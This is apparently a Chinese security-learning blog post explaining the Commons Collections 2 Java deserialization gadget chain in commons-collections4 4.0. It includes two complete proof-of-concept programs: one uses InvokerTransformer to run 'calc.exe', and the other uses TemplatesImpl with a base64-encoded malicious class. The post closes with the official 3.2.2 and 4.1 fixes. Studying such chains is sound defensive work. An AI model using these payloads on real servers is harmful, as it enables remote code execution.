Java篇Commons Collections 2

Commons Collections 2

前面我们讲的cc链,都是基于commons-collections:commons-collections这个版本的,当时的版本号是3.2.1,也就是老版本;但后来实际上又有了新的分支,版本号为4.0,接下来我们就来看看在这个版本中存在的反序列化漏洞

这个新版本就是org.apache.commons:commons-collections4groupIdartifactId都变了,为什么会分成两个不同的分支呢?因为当时官方认为旧的commons-collections有⼀些架构和API设计上的问题,但修复这些问题,会产⽣⼤量不能兼容的改动;所以说,commons-collections4不是用来替换commons-collections的一个新版本,而是一个新的包,两者的命名空间并不冲突,都可以放在同一个项目中,相当于就是一个拓展,那么之前版本中能利用的反序列化链,到了新版本中还能用吗?

commons-collections4中有啥改动

由于这两个版本可以共存,所以说我们就可以把它们两个包安装到同一个项目中进行比较,ysoserial中都装了,所以说直接在里面写POC就很方便,我们就拿cc6来演示嘛,毕竟这是一条通用链子,先把包名改改,把import org.apache.commons.collections.*改成import org.apache.commons.collections4.*如下图:

image.png

这时候就会出现一个报错,因为collections4中的LazyMap里面并没有decorate这个方法,而是改了个名字,改成了lazymap,其它都是一样的,咱换个名字就能用了:Map outerMap = LazyMap.lazyMap(innerMap, transformerChain);

image.png

成功弹出了计算器,说明了老的cc1、cc3、cc6都可以在新的collections4上继续使用

PriorityQueue利⽤链

除了几个老的以外,ysoserial还为collections4准备了几条新的利用链,那就是CommonsCollections2CommonsCollections4,这两条链都是基于新的collections4特有的,但其实原理其实和前面的也差不了太多;前面分析了那么多链子,我们现在应该对cc链有概念了,cc链的核心,毫无疑问是Transformer#transform(),我们得想办法调入transform中,在里面去执行命令;而cc链的入口,就是Serializable#readObject() ,所以说我们要做的,就是想办法把它们头尾连起来

而在CommonsCollections2中,有两个核心类,也就是链子的一头一尾:

一个是java.util.PriorityQueue,这个类中有自己的readObject()方法,所以说可以作为链子的开头:

1
2
3
4
5
6
7
8
9
10
11
12
private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();
// Read in (and discard) array length
s.readInt();
queue = new Object[size];
// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
// Elements are guaranteed to be in "proper order", but the spec has never explained what that might be.
heapify();
}

而另一个是org.apache.commons.collections4.comparators.TransformingComparator,这个类中有调用transform()方法的函数:

1
2
3
4
5
public int compare(final I obj1, final I obj2) {
final O value1 = this.transformer.transform(obj1);
final O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}

那这里就是链子的结尾,这条链子就是从PriorityQueue类中的readObject()方法到TransformingComparator类中的compare()方法;接下来我们就来看看它是怎么连接起来的:

PriorityQueue类中的readObject()方法里面调用了heapify()heapify()里面调用了siftDown()siftDown()里面调用了siftDownUsingComparatorsiftDownUsingComparator里面调用了comparator.compare(),就成功调用到上面TransformingComparator类中的compare()方法,这条链子就通了,整条链子简直不能再友好了,看看siftDownUsingComparator方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size && comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}

里面有些数据结构的知识看得我也挺头大的,还好和这条链子没有太大关系,但还是跟着p神的文章稍微学学吧

java.util.PriorityQueue是一个优先队列(Queue),基于二叉堆实现,优先队列每次出队的元素都是优先级最高的元素,那么如何确定哪一个元素的优先级最高呢?jdk中使用堆这种数据结构,通过堆使得每次出队的元素总是队列里面最小的,而元素大小的比较方法则由comparator指定,相当于指定优先级

二叉堆是一种特殊的堆,是完全二叉树或者近似于完全二叉树,二叉堆分为最大堆和最小堆;最大堆:父节点的键值总是大于或等于任何一个子节点的键值,最小堆:父节点的键值总是小于或等于任何一个子节点的键值;而完全二叉树在第n层深度被填满之前,不会开始填第n+1层,而且元素插入是从左往右填满;所以说基于数组实现的二叉堆,对于数组中任意位置的n元素,其左孩子在[2n+1]位置上,右孩子在[2(n+1)]位置,它的父亲则在[(n-1)/2]上,而根的位置则是[0],具体的请见:<PriorityQueue源码分析 - linghu_java - 博客园 >

反序列化之后之所以要调用heapify()方法,是为了反序列化之后恢复顺序,相当于就是排序,而排序是靠将大的元素下移实现的,而将节点下移的函数就是siftDown() ,而comparator.compare()⽤来⽐较两个元素⼤⼩

TransformingComparator类实现了java.util.Comparator接⼝,这个接⼝⽤于定义两个对象如何⽐较;siftDownUsingComparator() 中就使⽤这个接⼝的compare()⽅法⽐较树的节点

差不多就是这样,但其实我感觉这和我们后面构造利用链基本上没有关系,大家了解就好

构造POC

首先还是经典的Transformer,和之前的都一样

1
2
3
4
5
6
7
8
Transformer[] faketransfromer = new Transformer[]{new ConstantTransformer(1)};
Transformer[] transformer = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(faketransfromer);

然后把这个ChainedTransformer对象放入到创建的TransformingComparator对象里面:

1
Comparator comparator = new TransformingComparator(transformerChain);

然后再将这个TransformingComparator对象放入PriorityQueue中,它的构造方法中有两个参数,第一个参数是初始化时的大小,至少需要两个元素才能触发排序和比较,所以说一般来讲是2,当然比2大的任何整数都行;第⼆个参数是⽐较时的Comparator,传⼊前⾯实例化的comparator就行

1
2
3
Queue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(2);

后面随便添加两个非null的任意对象就行,这里就传两个数字进去比较简单,这个不重要哈哈哈

然后把真正恶意的Transformer放上去:

1
setFieldValue(transformerChain,"iTransformers",transformer);

最后后面跟上序列化和反序列化的操作就行了,完整POC如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import java.io.*;
import java.util.Comparator;
import java.util.PriorityQueue;
import java.util.Queue;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;

import static ysoserial.payloads.util.Reflections.setFieldValue;

public class CommonsCollections2_1 {
public static void main(String[] args) throws Exception {
Transformer[] faketransfromer = new Transformer[]{new ConstantTransformer(1)};
Transformer[] transformer = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(faketransfromer);
Comparator comparator = new TransformingComparator(transformerChain);
Queue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(2);
setFieldValue(transformerChain,"iTransformers",transformer);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();

System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}

image.png

成功弹出计算器

改造POC

前面我们提到了构造不含数组的POC,并且用那个打了Shiro,那么我们能不能把那个POC拿来改造成这种呢?肯定是可以的,而且和前面讲的也差不多,首先创建TemplatesImpl对象,然后创造一个人畜无害的transformer,里面随便调用一个方法就行,比如说toString,然后就和上面一样实例化TransformingComparatorPriorityQueue对象,但是这里我们得向队列中添加我们前面创建的TemplatesImpl对象,因为我们不能用数组了,所以说没办法通过ConstantTransformer把对象传进来了,⽽在Comparator#compare() 时,队列⾥的元素将作为参数传⼊transform()⽅法,这就是传给TemplatesImpl#newTransformer的参数,相当于就执行TemplatesImpl对象里的newTransformer()方法

完整POC如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import org.apache.commons.collections4.comparators.TransformingComparator;

import java.io.*;
import java.lang.reflect.Field;
import java.util.*;


public class CommonsCollections2_2 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIwoABwAUBwAVCAAWCgAXABgKABcAGQcAGgcAGwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAcAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAHQEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA8AEAEAEGphdmEvbGFuZy9TdHJpbmcBAAhjYWxjLmV4ZQcAHgwAHwAgDAAhACIBABN5c29zZXJpYWwvdGVzdC9ldmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAYABwAAAAAAAwABAAgACQACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAACwAMAAAABAABAA0AAQAIAA4AAgAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAAA0ADAAAAAQAAQANAAEADwAQAAIACgAAADsABAACAAAAFyq3AAEEvQACWQMSA1NMuAAEK7YABVexAAAAAQALAAAAEgAEAAAADwAEABAADgARABYAEgAMAAAABAABABEAAQASAAAAAgAT");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "Arsene.Tang");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer transformer = new InvokerTransformer("toString",null,null);
Comparator comparator = new TransformingComparator(transformer);
Queue queue = new PriorityQueue(2, comparator);
queue.add(obj);
queue.add(obj);

setFieldValue(transformer,"iMethodName","newTransformer");

// ⽣成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();

System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}

image.png

成功弹出计算器

官方修复方法

Apache Commons Collections官⽅在2015年底得知序列化相关的问题后,就在两个分⽀上同时发布了新的版本,4.1和3.2.2;先看3.2.2,通过diff可以发现,新版代码中增加了⼀个⽅法FunctorUtils#checkUnsafeSerialization,⽤于检测反序列化是否安全。如果开发者没有设置全局配置org.apache.commons.collections.enableUnsafeSerialization=true,即默认情况下会 抛出异常。 这个检查在常⻅的危险Transformer类(InstantiateTransformerInvokerTransformerPrototypeFactoryCloneTransformer等的 readObject ⾥进⾏调⽤,所以,当我们反序列化包含这些对象时就会抛出⼀个异常;再看4.1,修复⽅式⼜不⼀样。4.1⾥,这⼏个危险Transformer类不再实现 Serializable 接⼝,也就是说,他们⼏个彻底⽆法序列化和反序列化了,更绝

这篇文章介绍了commons-collections4.0相较于3.2.1的变化,并且介绍了一款新的利用链,这款利用链只能在4.0的版本中工作,它就是CommonsCollections 2,还有官方对cc链的修复方法

这是p神Java安全漫谈中最后一篇关于CommonsCollections利用链的文章,再次感谢p神写出这么精彩的文章,还有没讲到的4、5、7我就自己琢磨琢磨吧,应该也问题不大,看了这么多天的cc链,其实原理也都是相通的

加油吧 Java安全 路还长着呢

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2021-2022 Arsene.Tang
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~

支付宝
微信